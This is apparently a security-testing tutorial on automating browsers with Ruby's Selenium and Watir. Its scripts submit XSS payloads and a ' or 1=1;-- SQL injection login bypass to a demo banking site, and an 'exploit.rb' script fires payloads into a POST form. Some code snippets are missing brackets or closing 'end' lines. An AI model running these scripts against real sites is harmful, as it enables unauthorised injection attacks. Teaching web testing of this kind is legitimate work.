Browser Manipulation
Here we’ll learn how to make ruby controls our browser in order to emulate the same attacks from browser and get the real results.
The most known APIs for this task are Selenium and Watir which support most know web browsers currently exist.
Selenium is an umbrella project encapsulating a variety of tools and libraries enabling web browser automation.
- install selenium gem
# KING SABRI | @KINGSABRI
#
require "selenium-webdriver"
# Profile Setup and Tweak
proxy = Selenium::WebDriver::Proxy.new(
:http => PROXY,
:ftp => PROXY,
:ssl => PROXY
) # Set Proxy hostname and port
profile = Selenium::WebDriver::Firefox::Profile.from_name "default" # Use an existing profile name
profile['general.useragent.override'] = "Mozilla/5.0 (compatible; MSIE 9.0; " +
"Windows Phone OS 7.5; Trident/5.0; " +
"IEMobile/9.0)" # Set User Agent
profile.proxy = proxy # Set Proxy
profile.assume_untrusted_certificate_issuer = false # Accept untrusted SSL certificates
# Start Driver
driver = Selenium::WebDriver.for(:firefox, :profile => profile) # Start firefox driver with specified profile
# driver = Selenium::WebDriver.for(:firefox, :profile => "default") # Use this line if just need a current profile and no need to setup or tweak your profile
driver.manage.window.resize_to(500, 400) # Set Browser windows size
driver.navigate.to "http://www.altoromutual.com/search.aspx?" # The URL to navigate
# Interact with elements
element = driver.find_element(:name, 'txtSearch') # Find an element named 'txtSearch'
element.send_keys "<img src=x onerror='alert(1)'>" # Send your keys to element
element.send_keys(:control, 't') # Open a new tab
element.submit # Submit the text you've just sent
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'selenium-webdriver'
browser = Selenium::WebDriver.for :firefox
browser.get "http://www.altoromutual.com/bank/login.aspx"
wait = Selenium::WebDriver::Wait.new(:timeout => 15) # Set waiting timeout
# Find the input elements to interact with later.
input = wait.until {
element_user = browser.find_element(:name, "uid")
element_pass = browser.find_element(:name, "passw")
# Retrun array of elements when get displayed
[element_user, element_pass] if element_user.displayed? and element_pass.displayed?
}
input[0].send_keys("' or 1=1;--") # Send key for the 1st element
input[1].send_keys("password") # Send key fro the next element
sleep 1
# Click/submit the button based the form it is in (you can also call 'btnSubmit' method)
submit = browser.find_element(:name, "btnSubmit").click #.submit
# browser.quit
- Open a browser window (Firefox)
- Navigate to a URL (altoromutual.com)
- Perform some operations (Send an XSS payload)
- Check if the payload is working(Popping-up) or it’s a false positive
- Print the succeed payloads on terminal
selenium-xss.rb
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'selenium-webdriver'
payloads =
"<video src=x onerror=alert(1);>",
"<img src=x onerror='alert(2)'>",
"<script>alert(3)</script>",
"<svg/OnlOad=prompt(4)>",
"javascript:alert(5)",
]
browser = Selenium::WebDriver.for :firefox # You can use :ff too
browser.manage.window.resize_to(500, 400) # Set browser size
browser.get "http://www.altoromutual.com/search.aspx?"
wait = Selenium::WebDriver::Wait.new(:timeout => 10) # Timeout to wait
payloads.each do |payload|
input = wait.until do
element = browser.find_element(:name, 'txtSearch')
element if element.displayed?
end
input.send_keys(payload)
input.submit
begin
wait.until do
txt = browser.switch_to.alert
if (1..100) === txt.text.to_i
puts "Payload is working: #{payload}"
txt.accept
end
end
rescue Selenium::WebDriver::Error::NoAlertOpenError
puts "False Positive: #{payload}"
next
end
end
browser.close
Result
is abbreviation for (Web Application Testing in Ruby). I believe that Watir is more elegant than Selenium but I like to know many ways to do the same thing, just in case.
- install watir gem
gem install watir
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'watir'
browser = Watir::Browser.new :firefox
browser.goto "http://www.altoromutual.com/search.aspx?"
browser.text_field(name: 'txtSearch').set("<img src=x onerror='alert(1)'>")
btn = browser.button(value: 'Go')
puts btn.exists?
btn.click
# browser.close
Sometime you’ll need to send XSS GET request from URL like http://app/search?q=<script>alert</script>
. You’ll face a known error Selenium:
if the alert box popped up but it you do refresh page for the sent payload it’ll work so the fix for this issue is the following. Unexpected modal dialog
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'watir'
browser = Watir::Browser.new :firefox
wait = Selenium::WebDriver::Wait.new(:timeout => 15)
begin
browser.goto("http://www.altoromutual.com/search.aspx?txtSearch=<img src=x onerror=alert(1)>")
rescue Selenium::WebDriver::Error::UnhandledAlertError
browser.refresh
wait.until {browser.alert.exists?}
end
if browser.alert.exists?
browser.alert.ok
puts "[+] Exploit found!"
browser.close
- Since Waiter is integrated with Selenium, you can use both to achieve one goal
POST request
POST /path/of/editfunction HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 100
Cookie: PHPSESSIONID=111111111111111111111
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
field1=""&field2=""&field3=""&field4=""
example.html
<html>
<head>
<title>Victim Site - POST request</title>
</head>
<body>
<form action="https://example.com/path/of/editfunction" method="POST">
<input type="text" name="field1" value="" />
<input type="text" name="field2" value="" />
<input type="text" name="field3" value="" />
<input type="text" name="field4" value="" />
<p><input type="submit" value="Send" /></p>
</form>
</body>
</html>
exploit.rb
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'watir'
@browser = Watir::Browser.new :firefox
@browser.window.resize_to(800, 600) # Set browser size
@browser.window.move_to(400, 300) # Allocate browser position
def sendpost(payload)
@browser.goto "file:///home/KING/Code/example.html"
@browser.text_field(name: 'field1').set(payload)
@browser.text_field(name: 'field2').set(payload)
@browser.text_field(name: 'field3').set(payload)
@browser.text_field(name: 'field4').set(payload)
sleep 0.1
@browser.button(value: 'Send').click
end
payloads =
[
'"><script>alert(1)</script>',
'<img src=x onerror=alert(2)>'
]
puts "[*] Exploitation start"
puts "[*] Number of payloads: #{payloads.size} payloads"
payloads.each do |payload|
print "\r[*] Trying: #{payload}"
print "\e[K"
sendpost payload
if @browser.alert.exists?
@browser.alert.ok
puts "[+] Exploit found!: " + payload
@browser.close
end
One of scenarios I’ve faced is to exploit XSS a user profile fields and check the result in another page which present the public user’s profile. Instead of revisiting the URLs again and again I open new tab and refresh the public user’s profile page then return back to send the exploit and so on.